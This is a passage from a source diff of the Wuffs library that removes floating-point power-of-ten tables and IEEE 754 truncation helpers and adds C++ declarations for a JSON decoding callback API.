0xEC1E4A7DB69561A5}, // 1e-19 +- {0x3AFF322E62439FCF, 0x9392EE8E921D5D07}, // 1e-18 +- {0x09BEFEB9FAD487C2, 0xB877AA3236A4B449}, // 1e-17 +- {0x4C2EBE687989A9B3, 0xE69594BEC44DE15B}, // 1e-16 +- {0x0F9D37014BF60A10, 0x901D7CF73AB0ACD9}, // 1e-15 +- {0x538484C19EF38C94, 0xB424DC35095CD80F}, // 1e-14 +- {0x2865A5F206B06FB9, 0xE12E13424BB40E13}, // 1e-13 +- {0xF93F87B7442E45D3, 0x8CBCCC096F5088CB}, // 1e-12 +- {0xF78F69A51539D748, 0xAFEBFF0BCB24AAFE}, // 1e-11 +- {0xB573440E5A884D1B, 0xDBE6FECEBDEDD5BE}, // 1e-10 +- {0x31680A88F8953030, 0x89705F4136B4A597}, // 1e-9 +- {0xFDC20D2B36BA7C3D, 0xABCC77118461CEFC}, // 1e-8 +- {0x3D32907604691B4C, 0xD6BF94D5E57A42BC}, // 1e-7 +- {0xA63F9A49C2C1B10F, 0x8637BD05AF6C69B5}, // 1e-6 +- {0x0FCF80DC33721D53, 0xA7C5AC471B478423}, // 1e-5 +- {0xD3C36113404EA4A8, 0xD1B71758E219652B}, // 1e-4 +- {0x645A1CAC083126E9, 0x83126E978D4FDF3B}, // 1e-3 +- {0x3D70A3D70A3D70A3, 0xA3D70A3D70A3D70A}, // 1e-2 +- {0xCCCCCCCCCCCCCCCC, 0xCCCCCCCCCCCCCCCC}, // 1e-1 +- {0x0000000000000000, 0x8000000000000000}, // 1e0 +- {0x0000000000000000, 0xA000000000000000}, // 1e1 +- {0x0000000000000000, 0xC800000000000000}, // 1e2 +- {0x0000000000000000, 0xFA00000000000000}, // 1e3 +- {0x0000000000000000, 0x9C40000000000000}, // 1e4 +- {0x0000000000000000, 0xC350000000000000}, // 1e5 +- {0x0000000000000000, 0xF424000000000000}, // 1e6 +- {0x0000000000000000, 0x9896800000000000}, // 1e7 +- {0x0000000000000000, 0xBEBC200000000000}, // 1e8 +- {0x0000000000000000, 0xEE6B280000000000}, // 1e9 +- {0x0000000000000000, 0x9502F90000000000}, // 1e10 +- {0x0000000000000000, 0xBA43B74000000000}, // 1e11 +- {0x0000000000000000, 0xE8D4A51000000000}, // 1e12 +- {0x0000000000000000, 0x9184E72A00000000}, // 1e13 +- {0x0000000000000000, 0xB5E620F480000000}, // 1e14 +- {0x0000000000000000, 0xE35FA931A0000000}, // 1e15 +- {0x0000000000000000, 0x8E1BC9BF04000000}, // 1e16 +- {0x0000000000000000, 0xB1A2BC2EC5000000}, // 1e17 +- {0x0000000000000000, 0xDE0B6B3A76400000}, // 1e18 +- {0x0000000000000000, 0x8AC7230489E80000}, // 1e19 +- {0x0000000000000000, 0xAD78EBC5AC620000}, // 1e20 +- {0x0000000000000000, 0xD8D726B7177A8000}, // 1e21 +- {0x0000000000000000, 0x878678326EAC9000}, // 1e22 +- {0x0000000000000000, 0xA968163F0A57B400}, // 1e23 +- {0x0000000000000000, 0xD3C21BCECCEDA100}, // 1e24 +- {0x0000000000000000, 0x84595161401484A0}, // 1e25 +- {0x0000000000000000, 0xA56FA5B99019A5C8}, // 1e26 +- {0x0000000000000000, 0xCECB8F27F4200F3A}, // 1e27 +- {0x4000000000000000, 0x813F3978F8940984}, // 1e28 +- {0x5000000000000000, 0xA18F07D736B90BE5}, // 1e29 +- {0xA400000000000000, 0xC9F2C9CD04674EDE}, // 1e30 +- {0x4D00000000000000, 0xFC6F7C4045812296}, // 1e31 +- {0xF020000000000000, 0x9DC5ADA82B70B59D}, // 1e32 +- {0x6C28000000000000, 0xC5371912364CE305}, // 1e33 +- {0xC732000000000000, 0xF684DF56C3E01BC6}, // 1e34 +- {0x3C7F400000000000, 0x9A130B963A6C115C}, // 1e35 +- {0x4B9F100000000000, 0xC097CE7BC90715B3}, // 1e36 +- {0x1E86D40000000000, 0xF0BDC21ABB48DB20}, // 1e37 +- {0x1314448000000000, 0x96769950B50D88F4}, // 1e38 +- {0x17D955A000000000, 0xBC143FA4E250EB31}, // 1e39 +- {0x5DCFAB0800000000, 0xEB194F8E1AE525FD}, // 1e40 +- {0x5AA1CAE500000000, 0x92EFD1B8D0CF37BE}, // 1e41 +- {0xF14A3D9E40000000, 0xB7ABC627050305AD}, // 1e42 +- {0x6D9CCD05D0000000, 0xE596B7B0C643C719}, // 1e43 +- {0xE4820023A2000000, 0x8F7E32CE7BEA5C6F}, // 1e44 +- {0xDDA2802C8A800000, 0xB35DBF821AE4F38B}, // 1e45 +- {0xD50B2037AD200000, 0xE0352F62A19E306E}, // 1e46 +- {0x4526F422CC340000, 0x8C213D9DA502DE45}, // 1e47 +- {0x9670B12B7F410000, 0xAF298D050E4395D6}, // 1e48 +- {0x3C0CDD765F114000, 0xDAF3F04651D47B4C}, // 1e49 +- {0xA5880A69FB6AC800, 0x88D8762BF324CD0F}, // 1e50 +- {0x8EEA0D047A457A00, 0xAB0E93B6EFEE0053}, // 1e51 +- {0x72A4904598D6D880, 0xD5D238A4ABE98068}, // 1e52 +- {0x47A6DA2B7F864750, 0x85A36366EB71F041}, // 1e53 +- {0x999090B65F67D924, 0xA70C3C40A64E6C51}, // 1e54 +- {0xFFF4B4E3F741CF6D, 0xD0CF4B50CFE20765}, // 1e55 +- {0xBFF8F10E7A8921A4, 0x82818F1281ED449F}, // 1e56 +- {0xAFF72D52192B6A0D, 0xA321F2D7226895C7}, // 1e57 +- {0x9BF4F8A69F764490, 0xCBEA6F8CEB02BB39}, // 1e58 +- {0x02F236D04753D5B4, 0xFEE50B7025C36A08}, // 1e59 +- {0x01D762422C946590, 0x9F4F2726179A2245}, // 1e60 +- {0x424D3AD2B7B97EF5, 0xC722F0EF9D80AAD6}, // 1e61 +- {0xD2E0898765A7DEB2, 0xF8EBAD2B84E0D58B}, // 1e62 +- {0x63CC55F49F88EB2F, 0x9B934C3B330C8577}, // 1e63 +- {0x3CBF6B71C76B25FB, 0xC2781F49FFCFA6D5}, // 1e64 +- {0x8BEF464E3945EF7A, 0xF316271C7FC3908A}, // 1e65 +- {0x97758BF0E3CBB5AC, 0x97EDD871CFDA3A56}, // 1e66 +- {0x3D52EEED1CBEA317, 0xBDE94E8E43D0C8EC}, // 1e67 +- {0x4CA7AAA863EE4BDD, 0xED63A231D4C4FB27}, // 1e68 +- {0x8FE8CAA93E74EF6A, 0x945E455F24FB1CF8}, // 1e69 +- {0xB3E2FD538E122B44, 0xB975D6B6EE39E436}, // 1e70 +- {0x60DBBCA87196B616, 0xE7D34C64A9C85D44}, // 1e71 +- {0xBC8955E946FE31CD, 0x90E40FBEEA1D3A4A}, // 1e72 +- {0x6BABAB6398BDBE41, 0xB51D13AEA4A488DD}, // 1e73 +- {0xC696963C7EED2DD1, 0xE264589A4DCDAB14}, // 1e74 +- {0xFC1E1DE5CF543CA2, 0x8D7EB76070A08AEC}, // 1e75 +- {0x3B25A55F43294BCB, 0xB0DE65388CC8ADA8}, // 1e76 +- {0x49EF0EB713F39EBE, 0xDD15FE86AFFAD912}, // 1e77 +- {0x6E3569326C784337, 0x8A2DBF142DFCC7AB}, // 1e78 +- {0x49C2C37F07965404, 0xACB92ED9397BF996}, // 1e79 +- {0xDC33745EC97BE906, 0xD7E77A8F87DAF7FB}, // 1e80 +- {0x69A028BB3DED71A3, 0x86F0AC99B4E8DAFD}, // 1e81 +- {0xC40832EA0D68CE0C, 0xA8ACD7C0222311BC}, // 1e82 +- {0xF50A3FA490C30190, 0xD2D80DB02AABD62B}, // 1e83 +- {0x792667C6DA79E0FA, 0x83C7088E1AAB65DB}, // 1e84 +- {0x577001B891185938, 0xA4B8CAB1A1563F52}, // 1e85 +- {0xED4C0226B55E6F86, 0xCDE6FD5E09ABCF26}, // 1e86 +- {0x544F8158315B05B4, 0x80B05E5AC60B6178}, // 1e87 +- {0x696361AE3DB1C721, 0xA0DC75F1778E39D6}, // 1e88 +- {0x03BC3A19CD1E38E9, 0xC913936DD571C84C}, // 1e89 +- {0x04AB48A04065C723, 0xFB5878494ACE3A5F}, // 1e90 +- {0x62EB0D64283F9C76, 0x9D174B2DCEC0E47B}, // 1e91 +- {0x3BA5D0BD324F8394, 0xC45D1DF942711D9A}, // 1e92 +- {0xCA8F44EC7EE36479, 0xF5746577930D6500}, // 1e93 +- {0x7E998B13CF4E1ECB, 0x9968BF6ABBE85F20}, // 1e94 +- {0x9E3FEDD8C321A67E, 0xBFC2EF456AE276E8}, // 1e95 +- {0xC5CFE94EF3EA101E, 0xEFB3AB16C59B14A2}, // 1e96 +- {0xBBA1F1D158724A12, 0x95D04AEE3B80ECE5}, // 1e97 +- {0x2A8A6E45AE8EDC97, 0xBB445DA9CA61281F}, // 1e98 +- {0xF52D09D71A3293BD, 0xEA1575143CF97226}, // 1e99 +- {0x593C2626705F9C56, 0x924D692CA61BE758}, // 1e100 +- {0x6F8B2FB00C77836C, 0xB6E0C377CFA2E12E}, // 1e101 +- {0x0B6DFB9C0F956447, 0xE498F455C38B997A}, // 1e102 +- {0x4724BD4189BD5EAC, 0x8EDF98B59A373FEC}, // 1e103 +- {0x58EDEC91EC2CB657, 0xB2977EE300C50FE7}, // 1e104 +- {0x2F2967B66737E3ED, 0xDF3D5E9BC0F653E1}, // 1e105 +- {0xBD79E0D20082EE74, 0x8B865B215899F46C}, // 1e106 +- {0xECD8590680A3AA11, 0xAE67F1E9AEC07187}, // 1e107 +- {0xE80E6F4820CC9495, 0xDA01EE641A708DE9}, // 1e108 +- {0x3109058D147FDCDD, 0x884134FE908658B2}, // 1e109 +- {0xBD4B46F0599FD415, 0xAA51823E34A7EEDE}, // 1e110 +- {0x6C9E18AC7007C91A, 0xD4E5E2CDC1D1EA96}, // 1e111 +- {0x03E2CF6BC604DDB0, 0x850FADC09923329E}, // 1e112 +- {0x84DB8346B786151C, 0xA6539930BF6BFF45}, // 1e113 +- {0xE612641865679A63, 0xCFE87F7CEF46FF16}, // 1e114 +- {0x4FCB7E8F3F60C07E, 0x81F14FAE158C5F6E}, // 1e115 +- {0xE3BE5E330F38F09D, 0xA26DA3999AEF7749}, // 1e116 +- {0x5CADF5BFD3072CC5, 0xCB090C8001AB551C}, // 1e117 +- {0x73D9732FC7C8F7F6, 0xFDCB4FA002162A63}, // 1e118 +- {0x2867E7FDDCDD9AFA, 0x9E9F11C4014DDA7E}, // 1e119 +- {0xB281E1FD541501B8, 0xC646D63501A1511D}, // 1e120 +- {0x1F225A7CA91A4226, 0xF7D88BC24209A565}, // 1e121 +- {0x3375788DE9B06958, 0x9AE757596946075F}, // 1e122 +- {0x0052D6B1641C83AE, 0xC1A12D2FC3978937}, // 1e123 +- {0xC0678C5DBD23A49A, 0xF209787BB47D6B84}, // 1e124 +- {0xF840B7BA963646E0, 0x9745EB4D50CE6332}, // 1e125 +- {0xB650E5A93BC3D898, 0xBD176620A501FBFF}, // 1e126 +- {0xA3E51F138AB4CEBE, 0xEC5D3FA8CE427AFF}, // 1e127 +- {0xC66F336C36B10137, 0x93BA47C980E98CDF}, // 1e128 +- {0xB80B0047445D4184, 0xB8A8D9BBE123F017}, // 1e129 +- {0xA60DC059157491E5, 0xE6D3102AD96CEC1D}, // 1e130 +- {0x87C89837AD68DB2F, 0x9043EA1AC7E41392}, // 1e131 +- {0x29BABE4598C311FB, 0xB454E4A179DD1877}, // 1e132 +- {0xF4296DD6FEF3D67A, 0xE16A1DC9D8545E94}, // 1e133 +- {0x1899E4A65F58660C, 0x8CE2529E2734BB1D}, // 1e134 +- {0x5EC05DCFF72E7F8F, 0xB01AE745B101E9E4}, // 1e135 +- {0x76707543F4FA1F73, 0xDC21A1171D42645D}, // 1e136 +- {0x6A06494A791C53A8, 0x899504AE72497EBA}, // 1e137 +- {0x0487DB9D17636892, 0xABFA45DA0EDBDE69}, // 1e138 +- {0x45A9D2845D3C42B6, 0xD6F8D7509292D603}, // 1e139 +- {0x0B8A2392BA45A9B2, 0x865B86925B9BC5C2}, // 1e140 +- {0x8E6CAC7768D7141E, 0xA7F26836F282B732}, // 1e141 +- {0x3207D795430CD926, 0xD1EF0244AF2364FF}, // 1e142 +- {0x7F44E6BD49E807B8, 0x8335616AED761F1F}, // 1e143 +- {0x5F16206C9C6209A6, 0xA402B9C5A8D3A6E7}, // 1e144 +- {0x36DBA887C37A8C0F, 0xCD036837130890A1}, // 1e145 +- {0xC2494954DA2C9789, 0x802221226BE55A64}, // 1e146 +- {0xF2DB9BAA10B7BD6C, 0xA02AA96B06DEB0FD}, // 1e147 +- {0x6F92829494E5ACC7, 0xC83553C5C8965D3D}, // 1e148 +- {0xCB772339BA1F17F9, 0xFA42A8B73ABBF48C}, // 1e149 +- {0xFF2A760414536EFB, 0x9C69A97284B578D7}, // 1e150 +- {0xFEF5138519684ABA, 0xC38413CF25E2D70D}, // 1e151 +- {0x7EB258665FC25D69, 0xF46518C2EF5B8CD1}, // 1e152 +- {0xEF2F773FFBD97A61, 0x98BF2F79D5993802}, // 1e153 +- {0xAAFB550FFACFD8FA, 0xBEEEFB584AFF8603}, // 1e154 +- {0x95BA2A53F983CF38, 0xEEAABA2E5DBF6784}, // 1e155 +- {0xDD945A747BF26183, 0x952AB45CFA97A0B2}, // 1e156 +- {0x94F971119AEEF9E4, 0xBA756174393D88DF}, // 1e157 +- {0x7A37CD5601AAB85D, 0xE912B9D1478CEB17}, // 1e158 +- {0xAC62E055C10AB33A, 0x91ABB422CCB812EE}, // 1e159 +- {0x577B986B314D6009, 0xB616A12B7FE617AA}, // 1e160 +- {0xED5A7E85FDA0B80B, 0xE39C49765FDF9D94}, // 1e161 +- {0x14588F13BE847307, 0x8E41ADE9FBEBC27D}, // 1e162 +- {0x596EB2D8AE258FC8, 0xB1D219647AE6B31C}, // 1e163 +- {0x6FCA5F8ED9AEF3BB, 0xDE469FBD99A05FE3}, // 1e164 +- {0x25DE7BB9480D5854, 0x8AEC23D680043BEE}, // 1e165 +- {0xAF561AA79A10AE6A, 0xADA72CCC20054AE9}, // 1e166 +- {0x1B2BA1518094DA04, 0xD910F7FF28069DA4}, // 1e167 +- {0x90FB44D2F05D0842, 0x87AA9AFF79042286}, // 1e168 +- {0x353A1607AC744A53, 0xA99541BF57452B28}, // 1e169 +- {0x42889B8997915CE8, 0xD3FA922F2D1675F2}, // 1e170 +- {0x69956135FEBADA11, 0x847C9B5D7C2E09B7}, // 1e171 +- {0x43FAB9837E699095, 0xA59BC234DB398C25}, // 1e172 +- {0x94F967E45E03F4BB, 0xCF02B2C21207EF2E}, // 1e173 +- {0x1D1BE0EEBAC278F5, 0x8161AFB94B44F57D}, // 1e174 +- {0x6462D92A69731732, 0xA1BA1BA79E1632DC}, // 1e175 +- {0x7D7B8F7503CFDCFE, 0xCA28A291859BBF93}, // 1e176 +- {0x5CDA735244C3D43E, 0xFCB2CB35E702AF78}, // 1e177 +- {0x3A0888136AFA64A7, 0x9DEFBF01B061ADAB}, // 1e178 +- {0x088AAA1845B8FDD0, 0xC56BAEC21C7A1916}, // 1e179 +- {0x8AAD549E57273D45, 0xF6C69A72A3989F5B}, // 1e180 +- {0x36AC54E2F678864B, 0x9A3C2087A63F6399}, // 1e181 +- {0x84576A1BB416A7DD, 0xC0CB28A98FCF3C7F}, // 1e182 +- {0x656D44A2A11C51D5, 0xF0FDF2D3F3C30B9F}, // 1e183 +- {0x9F644AE5A4B1B325, 0x969EB7C47859E743}, // 1e184 +- {0x873D5D9F0DDE1FEE, 0xBC4665B596706114}, // 1e185 +- {0xA90CB506D155A7EA, 0xEB57FF22FC0C7959}, // 1e186 +- {0x09A7F12442D588F2, 0x9316FF75DD87CBD8}, // 1e187 +- {0x0C11ED6D538AEB2F, 0xB7DCBF5354E9BECE}, // 1e188 +- {0x8F1668C8A86DA5FA, 0xE5D3EF282A242E81}, // 1e189 +- {0xF96E017D694487BC, 0x8FA475791A569D10}, // 1e190 +- {0x37C981DCC395A9AC, 0xB38D92D760EC4455}, // 1e191 +- {0x85BBE253F47B1417, 0xE070F78D3927556A}, // 1e192 +- {0x93956D7478CCEC8E, 0x8C469AB843B89562}, // 1e193 +- {0x387AC8D1970027B2, 0xAF58416654A6BABB}, // 1e194 +- {0x06997B05FCC0319E, 0xDB2E51BFE9D0696A}, // 1e195 +- {0x441FECE3BDF81F03, 0x88FCF317F22241E2}, // 1e196 +- {0xD527E81CAD7626C3, 0xAB3C2FDDEEAAD25A}, // 1e197 +- {0x8A71E223D8D3B074, 0xD60B3BD56A5586F1}, // 1e198 +- {0xF6872D5667844E49, 0x85C7056562757456}, // 1e199 +- {0xB428F8AC016561DB, 0xA738C6BEBB12D16C}, // 1e200 +- {0xE13336D701BEBA52, 0xD106F86E69D785C7}, // 1e201 +- {0xECC0024661173473, 0x82A45B450226B39C}, // 1e202 +- {0x27F002D7F95D0190, 0xA34D721642B06084}, // 1e203 +- {0x31EC038DF7B441F4, 0xCC20CE9BD35C78A5}, // 1e204 +- {0x7E67047175A15271, 0xFF290242C83396CE}, // 1e205 +- {0x0F0062C6E984D386, 0x9F79A169BD203E41}, // 1e206 +- {0x52C07B78A3E60868, 0xC75809C42C684DD1}, // 1e207 +- {0xA7709A56CCDF8A82, 0xF92E0C3537826145}, // 1e208 +- {0x88A66076400BB691, 0x9BBCC7A142B17CCB}, // 1e209 +- {0x6ACFF893D00EA435, 0xC2ABF989935DDBFE}, // 1e210 +- {0x0583F6B8C4124D43, 0xF356F7EBF83552FE}, // 1e211 +- {0xC3727A337A8B704A, 0x98165AF37B2153DE}, // 1e212 +- {0x744F18C0592E4C5C, 0xBE1BF1B059E9A8D6}, // 1e213 +- {0x1162DEF06F79DF73, 0xEDA2EE1C7064130C}, // 1e214 +- {0x8ADDCB5645AC2BA8, 0x9485D4D1C63E8BE7}, // 1e215 +- {0x6D953E2BD7173692, 0xB9A74A0637CE2EE1}, // 1e216 +- {0xC8FA8DB6CCDD0437, 0xE8111C87C5C1BA99}, // 1e217 +- {0x1D9C9892400A22A2, 0x910AB1D4DB9914A0}, // 1e218 +- {0x2503BEB6D00CAB4B, 0xB54D5E4A127F59C8}, // 1e219 +- {0x2E44AE64840FD61D, 0xE2A0B5DC971F303A}, // 1e220 +- {0x5CEAECFED289E5D2, 0x8DA471A9DE737E24}, // 1e221 +- {0x7425A83E872C5F47, 0xB10D8E1456105DAD}, // 1e222 +- {0xD12F124E28F77719, 0xDD50F1996B947518}, // 1e223 +- {0x82BD6B70D99AAA6F, 0x8A5296FFE33CC92F}, // 1e224 +- {0x636CC64D1001550B, 0xACE73CBFDC0BFB7B}, // 1e225 +- {0x3C47F7E05401AA4E, 0xD8210BEFD30EFA5A}, // 1e226 +- {0x65ACFAEC34810A71, 0x8714A775E3E95C78}, // 1e227 +- {0x7F1839A741A14D0D, 0xA8D9D1535CE3B396}, // 1e228 +- {0x1EDE48111209A050, 0xD31045A8341CA07C}, // 1e229 +- {0x934AED0AAB460432, 0x83EA2B892091E44D}, // 1e230 +- {0xF81DA84D5617853F, 0xA4E4B66B68B65D60}, // 1e231 +- {0x36251260AB9D668E, 0xCE1DE40642E3F4B9}, // 1e232 +- {0xC1D72B7C6B426019, 0x80D2AE83E9CE78F3}, // 1e233 +- {0xB24CF65B8612F81F, 0xA1075A24E4421730}, // 1e234 +- {0xDEE033F26797B627, 0xC94930AE1D529CFC}, // 1e235 +- {0x169840EF017DA3B1, 0xFB9B7CD9A4A7443C}, // 1e236 +- {0x8E1F289560EE864E, 0x9D412E0806E88AA5}, // 1e237 +- {0xF1A6F2BAB92A27E2, 0xC491798A08A2AD4E}, // 1e238 +- {0xAE10AF696774B1DB, 0xF5B5D7EC8ACB58A2}, // 1e239 +- {0xACCA6DA1E0A8EF29, 0x9991A6F3D6BF1765}, // 1e240 +- {0x17FD090A58D32AF3, 0xBFF610B0CC6EDD3F}, // 1e241 +- {0xDDFC4B4CEF07F5B0, 0xEFF394DCFF8A948E}, // 1e242 +- {0x4ABDAF101564F98E, 0x95F83D0A1FB69CD9}, // 1e243 +- {0x9D6D1AD41ABE37F1, 0xBB764C4CA7A4440F}, // 1e244 +- {0x84C86189216DC5ED, 0xEA53DF5FD18D5513}, // 1e245 +- {0x32FD3CF5B4E49BB4, 0x92746B9BE2F8552C}, // 1e246 +- {0x3FBC8C33221DC2A1, 0xB7118682DBB66A77}, // 1e247 +- {0x0FABAF3FEAA5334A, 0xE4D5E82392A40515}, // 1e248 +- {0x29CB4D87F2A7400E, 0x8F05B1163BA6832D}, // 1e249 +- {0x743E20E9EF511012, 0xB2C71D5BCA9023F8}, // 1e250 +- {0x914DA9246B255416, 0xDF78E4B2BD342CF6}, // 1e251 +- {0x1AD089B6C2F7548E, 0x8BAB8EEFB6409C1A}, // 1e252 +- {0xA184AC2473B529B1, 0xAE9672ABA3D0C320}, // 1e253 +- {0xC9E5D72D90A2741E, 0xDA3C0F568CC4F3E8}, // 1e254 +- {0x7E2FA67C7A658892, 0x8865899617FB1871}, // 1e255 +- {0xDDBB901B98FEEAB7, 0xAA7EEBFB9DF9DE8D}, // 1e256 +- {0x552A74227F3EA565, 0xD51EA6FA85785631}, // 1e257 +- {0xD53A88958F87275F, 0x8533285C936B35DE}, // 1e258 +- {0x8A892ABAF368F137, 0xA67FF273B8460356}, // 1e259 +- {0x2D2B7569B0432D85, 0xD01FEF10A657842C}, // 1e260 +- {0x9C3B29620E29FC73, 0x8213F56A67F6B29B}, // 1e261 +- {0x8349F3BA91B47B8F, 0xA298F2C501F45F42}, // 1e262 +- {0x241C70A936219A73, 0xCB3F2F7642717713}, // 1e263 +- {0xED238CD383AA0110, 0xFE0EFB53D30DD4D7}, // 1e264 +- {0xF4363804324A40AA, 0x9EC95D1463E8A506}, // 1e265 +- {0xB143C6053EDCD0D5, 0xC67BB4597CE2CE48}, // 1e266 +- {0xDD94B7868E94050A, 0xF81AA16FDC1B81DA}, // 1e267 +- {0xCA7CF2B4191C8326, 0x9B10A4E5E9913128}, // 1e268 +- {0xFD1C2F611F63A3F0, 0xC1D4CE1F63F57D72}, // 1e269 +- {0xBC633B39673C8CEC, 0xF24A01A73CF2DCCF}, // 1e270 +- {0xD5BE0503E085D813, 0x976E41088617CA01}, // 1e271 +- {0x4B2D8644D8A74E18, 0xBD49D14AA79DBC82}, // 1e272 +- {0xDDF8E7D60ED1219E, 0xEC9C459D51852BA2}, // 1e273 +- {0xCABB90E5C942B503, 0x93E1AB8252F33B45}, // 1e274 +- {0x3D6A751F3B936243, 0xB8DA1662E7B00A17}, // 1e275 +- {0x0CC512670A783AD4, 0xE7109BFBA19C0C9D}, // 1e276 +- {0x27FB2B80668B24C5, 0x906A617D450187E2}, // 1e277 +- {0xB1F9F660802DEDF6, 0xB484F9DC9641E9DA}, // 1e278 +- {0x5E7873F8A0396973, 0xE1A63853BBD26451}, // 1e279 +- {0xDB0B487B6423E1E8, 0x8D07E33455637EB2}, // 1e280 +- {0x91CE1A9A3D2CDA62, 0xB049DC016ABC5E5F}, // 1e281 +- {0x7641A140CC7810FB, 0xDC5C5301C56B75F7}, // 1e282 +- {0xA9E904C87FCB0A9D, 0x89B9B3E11B6329BA}, // 1e283 +- {0x546345FA9FBDCD44, 0xAC2820D9623BF429}, // 1e284 +- {0xA97C177947AD4095, 0xD732290FBACAF133}, // 1e285 +- {0x49ED8EABCCCC485D, 0x867F59A9D4BED6C0}, // 1e286 +- {0x5C68F256BFFF5A74, 0xA81F301449EE8C70}, // 1e287 +- {0x73832EEC6FFF3111, 0xD226FC195C6A2F8C}, // 1e288 +-}; ++// ---------------- Auxiliary - JSON + +-// wuffs_base__private_implementation__f64_powers_of_10 holds powers of 10 that +-// can be exactly represented by a float64 (what C calls a double). +-static const double wuffs_base__private_implementation__f64_powers_of_10[23] = { +- 1e0, 1e1, 1e2, 1e3, 1e4, 1e5, 1e6, 1e7, 1e8, 1e9, 1e10, 1e11, +- 1e12, 1e13, 1e14, 1e15, 1e16, 1e17, 1e18, 1e19, 1e20, 1e21, 1e22, ++namespace wuffs_aux { ++ ++struct DecodeJsonResult { ++ DecodeJsonResult(std::string&& error_message0, uint64_t cursor_position0); ++ ++ std::string error_message; ++ uint64_t cursor_position; + }; + +-// ---------------- IEEE 754 Floating Point ++class DecodeJsonCallbacks { ++ public: ++ virtual ~DecodeJsonCallbacks(); + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__lossy_value_u16 // +-wuffs_base__ieee_754_bit_representation__from_f64_to_u16_truncate(double f) { +- uint64_t u = 0; +- if (sizeof(uint64_t) == sizeof(double)) { +- memcpy(&u, &f, sizeof(uint64_t)); +- } +- uint16_t neg = ((uint16_t)((u >> 63) << 15)); +- u &= 0x7FFFFFFFFFFFFFFF; +- uint64_t exp = u >> 52; +- uint64_t man = u & 0x000FFFFFFFFFFFFF; ++ // AppendXxx are called for leaf nodes: literals, numbers and strings. For ++ // strings, the Callbacks implementation is responsible for tracking map keys ++ // versus other values. + +- if (exp == 0x7FF) { +- if (man == 0) { // Infinity. +- wuffs_base__lossy_value_u16 ret; +- ret.value = neg | 0x7C00; +- ret.lossy = false; +- return ret; +- } +- // NaN. Shift the 52 mantissa bits to 10 mantissa bits, keeping the most +- // significant mantissa bit (quiet vs signaling NaNs). Also set the low 9 +- // bits of ret.value so that the 10-bit mantissa is non-zero. +- wuffs_base__lossy_value_u16 ret; +- ret.value = neg | 0x7DFF | ((uint16_t)(man >> 42)); +- ret.lossy = false; +- return ret; ++ virtual std::string AppendNull() = 0; ++ virtual std::string AppendBool(bool val) = 0; ++ virtual std::string AppendF64(double val) = 0; ++ virtual std::string AppendI64(int64_t val) = 0; ++ virtual std::string AppendTextString(std::string&& val) = 0; + +- } else if (exp > 0x40E) { // Truncate to the largest finite f16. +- wuffs_base__lossy_value_u16 ret; +- ret.value = neg | 0x7BFF; +- ret.lossy = true; +- return ret; ++ // Push and Pop are called for container nodes: JSON arrays (lists) and JSON ++ // objects (dictionaries). ++ // ++ // The flags bits combine exactly one of: ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT ++ // and exactly one of: ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT + +- } else if (exp <= 0x3E6) { // Truncate to zero. +- wuffs_base__lossy_value_u16 ret; +- ret.value = neg; +- ret.lossy = (u != 0); +- return ret; ++ virtual std::string Push(uint32_t flags) = 0; ++ virtual std::string Pop(uint32_t flags) = 0; + +- } else if (exp <= 0x3F0) { // Normal f64, subnormal f16. +- // Convert from a 53-bit mantissa (after realizing the implicit bit) to a +- // 10-bit mantissa and then adjust for the exponent. +- man |= 0x0010000000000000; +- uint32_t shift = ((uint32_t)(1051 - exp)); // 1051 = 0x3F0 + 53 - 10. +- uint64_t shifted_man = man >> shift; +- wuffs_base__lossy_value_u16 ret; +- ret.value = neg | ((uint16_t)shifted_man); +- ret.lossy = (shifted_man << shift) != man; +- return ret; +- } ++ // Done is always the last Callback method called by DecodeJson, whether or ++ // not parsing the input as JSON encountered an error. Even when successful, ++ // trailing data may remain in input and buffer. See "Unintuitive JSON ++ // Parsing" (https://nullprogram.com/blog/2019/12/28/) which discusses JSON ++ // parsing and when it stops. ++ // ++ // Do not keep a reference to buffer or buffer.data.ptr after Done returns, ++ // as DecodeJson may then de-allocate the backing array. ++ // ++ // The default Done implementation is a no-op. ++ virtual void // ++ Done(DecodeJsonResult& result, sync_io::Input& input, IOBuffer& buffer); ++}; + +- // Normal f64, normal f16. ++extern const char DecodeJson_BadJsonPointer[]; ++extern const char DecodeJson_NoMatch[]; + +- // Re-bias from 1023 to 15 and shift above f16's 10 mantissa bits. +- exp = (exp - 1008) << 10; // 1008 = 1023 - 15 = 0x3FF - 0xF. ++// The FooArgBar types add structure to Foo's optional arguments. They wrap ++// inner representations for several reasons: ++// - It provides a home for the DefaultValue static method, for Foo callers ++// that want to override some but not all optional arguments. ++// - It provides the "Bar" name at Foo call sites, which can help self- ++// document Foo calls with many arguemnts. ++// - It provides some type safety against accidentally transposing or omitting ++// adjacent fundamentally-numeric-typed optional arguments. + +- // Convert from a 52-bit mantissa (excluding the implicit bit) to a 10-bit +- // mantissa (again excluding the implicit bit). We lose some information if +- // any of the bottom 42 bits are non-zero. +- wuffs_base__lossy_value_u16 ret; +- ret.value = neg | ((uint16_t)exp) | ((uint16_t)(man >> 42)); +- ret.lossy = (man << 22) != 0; +- return ret; +-} ++// DecodeJsonArgQuirks wraps an optional argument to DecodeJson. ++struct DecodeJsonArgQuirks { ++ explicit DecodeJsonArgQuirks(const QuirkKeyValuePair* ptr0, ++ const size_t len0); + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__lossy_value_u32 // +-wuffs_base__ieee_754_bit_representation__from_f64_to_u32_truncate(double f) { +- uint64_t u = 0; +- if (sizeof(uint64_t) == sizeof(double)) { +- memcpy(&u, &f, sizeof(uint64_t)); +- } +- uint32_t neg = ((uint32_t)(u >> 63)) << 31; +- u &= 0x7FFFFFFFFFFFFFFF; +- uint64_t exp = u >> 52; +- uint64_t man = u & 0x000FFFFFFFFFFFFF; ++ // DefaultValue returns an empty slice. ++ static DecodeJsonArgQuirks DefaultValue(); + +- if (exp == 0x7FF) { +- if (man == 0) { // Infinity. +- wuffs_base__lossy_value_u32 ret; +- ret.value = neg | 0x7F800000; +- ret.lossy = false; +- return ret; +- } +- // NaN. Shift the 52 mantissa bits to 23 mantissa bits, keeping the most +- // significant mantissa bit (quiet vs signaling NaNs). Also set the low 22 